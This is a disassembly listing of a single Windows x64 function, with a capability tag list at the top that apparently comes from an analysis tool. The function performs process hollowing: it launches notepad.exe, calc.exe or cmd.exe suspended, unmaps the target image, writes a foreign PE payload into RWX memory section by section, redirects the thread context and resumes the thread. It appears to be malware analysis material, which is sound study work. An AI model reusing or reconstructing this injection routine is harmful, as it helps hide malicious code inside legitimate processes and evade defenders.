Function at 0x14001b8a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Resolve function by parsing pe exports
Resume thread
Terminate process
Use process replacement

Disassembly:
mov byte [rsp + 0x18], r8b
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x8b8
mov rax, qword [0x140066018]
xor rax, rsp
mov qword [rsp + 0x8a0], rax
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x98], 0
mov qword [rsp + 0x88], 0
mov dword [rsp + 0x150], 0x10000b
mov r8d, 0x68
xor edx, edx
lea rcx, [rsp + 0xb0]
call fcn.140029b90
mov r8d, 0x18
xor edx, edx
lea rcx, [rsp + 0x70]
call fcn.140029b90
movzx eax, byte [rsp + 0x8d0]
test eax, eax
jne 0x14001bad7
movzx r8d, byte [rsp + 0x54]
lea rdx, str.notepad.exe__
lea rcx, [rsp + 0x610]
call fcn.140014ff0
mov rcx, rax
call fcn.140021ab0
mov rdx, rax
lea rcx, [rsp + 0x680]
call fcn.140032bf0
mov rdx, qword [rsp + 0x8c8]
lea rcx, [rsp + 0x680]
call fcn.140032b50
lea rdx, [0x140050ad4]
lea rcx, [rsp + 0x680]
call fcn.140032b50
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x680]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14001bad2
movzx r8d, byte [rsp + 0x55]
lea rdx, str.calc.exe__
lea rcx, [rsp + 0x600]
call fcn.140015770
mov rcx, rax
call fcn.1400207f0
mov rdx, rax
lea rcx, [rsp + 0x680]
call fcn.140032bf0
mov rdx, qword [rsp + 0x8c8]
lea rcx, [rsp + 0x680]
call fcn.140032b50
lea rdx, [0x140050b0c]
lea rcx, [rsp + 0x680]
call fcn.140032b50
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x680]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14001bad2
movzx r8d, byte [rsp + 0x56]
lea rdx, [0x140051160]
lea rcx, [rsp + 0x638]
call fcn.1400127b0
mov rcx, rax
call fcn.1400209d0
mov rdx, rax
lea rcx, [0x140067ad0]
call fcn.140016700
lea rdx, [0x140018ad0]
mov rcx, rax
call fcn.14001a750
xor al, al
jmp 0x14001bee2
jmp 0x14001bbd7
movzx r8d, byte [rsp + 0x57]
lea rdx, str.cmd.exe__
lea rcx, [rsp + 0x5f0]
call fcn.140015c50
mov rcx, rax
call fcn.140020750
mov rdx, rax
lea rcx, [rsp + 0x790]
call fcn.140032bf0
mov rdx, qword [rsp + 0x8c8]
lea rcx, [rsp + 0x790]
call fcn.140032b50
lea rdx, [0x140050b24]
lea rcx, [rsp + 0x790]
call fcn.140032b50
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x790]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x14001bbd7
movzx r8d, byte [rsp + 0x58]
lea rdx, str.Error_doing_magic.
lea rcx, [rsp + 0x650]
call fcn.140012a80
mov rcx, rax
call fcn.1400209d0
mov rdx, rax
lea rcx, [0x140067ad0]
call fcn.140016700
lea rdx, [0x140018ad0]
mov rcx, rax
call fcn.14001a750
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
xor al, al
jmp 0x14001bee2
mov rax, qword [rsp + 0x8c0]
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x14001bc4f
movzx r8d, byte [rsp + 0x59]
lea rdx, str.Error_validation.
lea rcx, [rsp + 0x620]
call fcn.140013aa0
mov rcx, rax
call fcn.140020930
mov rdx, rax
lea rcx, [0x140067ad0]
call fcn.140016700
lea rdx, [0x140018ad0]
mov rcx, rax
call fcn.14001a750
mov edx, 1
mov rcx, qword [rsp + 0x70]
call sub.ntdll.dll_NtTerminateProcess
xor al, al
jmp 0x14001bee2
mov rax, qword [rsp + 0xa0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x8c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtGetContextThread
mov rax, qword [rsp + 0x1a8]
add rax, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
lea r8, [rsp + 0x98]
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call sub.ntdll.dll_NtReadVirtualMemory
mov rax, qword [rsp + 0x60]
mov rax, qword [rax + 0x30]
cmp qword [rsp + 0x98], rax
jne 0x14001bcd5
mov rdx, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x70]
call sub.ntdll.dll_NtUnmapViewOfSection
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x50]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, eax
mov rax, qword [rsp + 0x60]
mov rdx, qword [rax + 0x30]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jne 0x14001bd83
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x90], eax
movzx r8d, byte [rsp + 0x5a]
lea rdx, str.Error_allocating.
lea rcx, [rsp + 0x668]
call fcn.140012d50
mov rcx, rax
call fcn.1400209d0
mov rdx, rax
lea rcx, [0x140067ad0]
call fcn.140016700
mov ecx, dword [rsp + 0x90]
mov edx, ecx
mov rcx, rax
call fcn.14001a570
lea rdx, [0x140018ad0]
mov rcx, rax
call fcn.14001a750
mov edx, 1
mov rcx, qword [rsp + 0x70]
call sub.ntdll.dll_NtTerminateProcess
xor al, al
jmp 0x14001bee2
mov qword [rsp + 0x20], 0
mov rax, qword [rsp + 0x60]
mov r9d, dword [rax + 0x54]
mov r8, qword [rsp + 0x8c0]
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x70]
call sub.ntdll.dll_NtWriteVirtualMemory
mov dword [rsp + 0x50], 0
jmp 0x14001bdc0
mov eax, dword [rsp + 0x50]
inc eax
mov dword [rsp + 0x50], eax
mov rax, qword [rsp + 0x60]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x50], eax
jge 0x14001be5f
mov rax, qword [rsp + 0xa0]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x8c0]
add rcx, rax
mov rax, rcx
movsxd rcx, dword [rsp + 0x50]
imul rcx, rcx, 0x28
lea rax, [rax + rcx + 0x108]
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov eax, dword [rax + 0x14]
mov rcx, qword [rsp + 0x8c0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x88]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rsp + 0x68]
add rdx, rcx
mov rcx, rdx
mov qword [rsp + 0x20], 0
mov rdx, qword [rsp + 0x88]
mov r9d, dword [rdx + 0x10]
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x70]
call sub.ntdll.dll_NtWriteVirtualMemory
jmp 0x14001bdb6
mov rax, qword [rsp + 0x60]
mov eax, dword [rax + 0x28]
mov rcx, qword [rsp + 0x68]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x60]
add rax, 0x30
mov rcx, qword [rsp + 0x1a8]
add rcx, 0x10
mov qword [rsp + 0x20], 0
mov r9d, 8
mov r8, rax
mov rdx, rcx
mov rcx, qword [rsp + 0x70]
call sub.ntdll.dll_NtWriteVirtualMemory
lea rdx, [rsp + 0x120]
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtSetContextThread
xor edx, edx
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtResumeThread
mov rcx, qword [rsp + 0x78]
call sub.ntdll.dll_NtClose
mov rcx, qword [rsp + 0x70]
call sub.ntdll.dll_NtClose
mov al, 1
mov rcx, qword [rsp + 0x8a0]
xor rcx, rsp
call fcn.140025cc0
add rsp, 0x8b8
ret